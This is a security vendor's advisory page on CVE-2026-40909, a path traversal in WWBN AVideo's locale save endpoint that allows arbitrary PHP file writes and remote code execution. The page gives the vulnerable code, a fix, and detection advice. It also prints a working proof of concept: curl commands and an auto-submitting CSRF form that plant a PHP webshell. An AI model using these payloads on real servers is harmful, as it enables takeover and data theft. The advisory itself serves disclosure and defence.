Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
HIGH severity

CVE-2026-40909 wwbn/avideo

HIGHFix: WWBN/AVideo@57f89ff

CVE-2026-40909 is a high-severity (CVSS 8.7) Path Traversal vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.

WWBN AVideo has a Path Traversal in Locale Save Endpoint that Enables Arbitrary PHP File Write to Any Web-Accessible Directory (RCE)

Also known asGHSA-6rc6-p838-686f
Published
Apr 21, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Sep 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-40909.

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs50th percentile — riskier than 50% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-40909 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The locale save endpoint (locale/save.php) constructs a file path by directly concatenating $_POST['flag'] into the path at line 30 without any sanitization. The $_POST['code'] parameter is then written verbatim to that path via fwrite() at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use SameSite=None) can traverse out of the locale/ directory and write arbitrary .php files to any writable location on the filesystem, achieving Remote Code Execution.

Details

In locale/save.php, the vulnerable code path is:

// locale/save.php:10 — only auth check, no CSRF token
if (!User::isAdmin() || !empty($global['disableAdvancedConfigurations'])) {
    // ...
    die(json_encode($obj));
}

// locale/save.php:16 — base directory
$dir = "{$global['systemRootPath']}locale/";

// locale/save.php:30 — UNSANITIZED path concatenation
$file = $dir.($_POST['flag']).".php";
$myfile = fopen($file, "w") or die("Unable to open file!");

// locale/save.php:40 — UNSANITIZED content write
fwrite($myfile, $_POST['code']);

Root cause: $_POST['flag'] is concatenated directly into the file path with no call to basename(), realpath(), or any filtering of ../ sequences. A flag value like ../../shell resolves to {systemRootPath}locale/../../shell.php, which escapes the locale directory and writes to {systemRootPath}../shell.php — the web-accessible parent directory.

The file content is constructed as:

<?php
global $t;
{$_POST['code']}  // attacker-controlled, written verbatim

An attacker can inject arbitrary PHP after closing the translation context (e.g., $t["x"]=1;?><?php system($_GET["c"]);).

CSRF amplification: The endpoint performs no CSRF token validation. AVideo intentionally sets SameSite=None on session cookies (for cross-origin iframe support), which means cross-site POST requests from an attacker's page will include the admin's session cookie, making CSRF exploitation trivial.

PoC

Direct exploitation (requires admin session):

# Step 1: Write a webshell outside locale/ to the webroot
curl -b 'PHPSESSID=<admin_session>' \
  -X POST 'https://target/locale/save.php' \
  -d 'flag=../../webshell&code=$t["x"]=1;?><%3fphp+system($_GET["c"]);'

# Step 2: Execute commands via the written webshell
curl 'https://target/webshell.php?c=id'
# Response: uid=33(www-data) gid=33(www-data) ...

CSRF variant (no direct admin access needed):

Host the following HTML on an attacker-controlled site and lure an admin to visit:

<html>
<body>
<form method="POST" action="https://target/locale/save.php">
  <input type="hidden" name="flag" value="../../webshell">
  <input type="hidden" name="code" value='$t["x"]=1;?><?php system($_GET["c"]);'>
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

After the admin visits the page, the attacker accesses https://target/webshell.php?c=id for RCE.

Impact

  • Remote Code Execution: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.
  • CSRF to RCE chain: Because no CSRF token is required and SameSite=None is set, any user who can trick an admin into visiting a malicious page achieves unauthenticated RCE. This significantly expands the attack surface beyond admin-only.
  • Full server compromise: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.

Recommended Fix

Sanitize the flag parameter to prevent path traversal and add CSRF protection:

// locale/save.php — after the admin check at line 14

// Add CSRF token validation
if (empty($_POST['token']) || !User::isValidToken($_POST['token'])) {
    $obj->status = 0;
    $obj->error = __("Invalid token");
    die(json_encode($obj));
}

// Sanitize flag to prevent path traversal
$flag = basename($_POST['flag']); // strip directory components
if (empty($flag) || preg_match('/[^a-zA-Z0-9_\-]/', $flag)) {
    $obj->status = 0;
    $obj->error = __("Invalid locale flag");
    die(json_encode($obj));
}

$file = $dir . $flag . ".php";

// Verify resolved path is within expected directory
$realDir = realpath($dir);
$realFile = realpath(dirname($file)) . '/' . basename($file);
if (strpos($realFile, $realDir) !== 0) {
    $obj->status = 0;
    $obj->error = __("Invalid file path");
    die(json_encode($obj));
}

Additionally, the code parameter should be validated to ensure it only contains translation assignments ($t[...] = ...;) and does not include PHP opening/closing tags or arbitrary code.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistwwbn/avideoall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of wwbn/avideo has shipped for CVE-2026-40909 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-40909 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-40909. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The locale save endpoint (`locale/save.php`) constructs a file path by directly concatenating `$_POST['flag']` into the path at line 30 without any sanitization. The `$_POST['code']` parameter is then written verbatim to that path via `fwrite()` at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use `SameSite=None`) can traverse out of the `locale/` directory and write arbitrary `.php` files to any writable location on the filesystem, achieving Remote Code Execution. ## Details In `locale/save.php`, the vulnerable code pat
O3 Security · Impact-Aware SCA

Is CVE-2026-40909 in your dependencies?

O3 Security finds CVE-2026-40909 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-40909: wwbn/avideo RCE (High 8.7) | O3 Security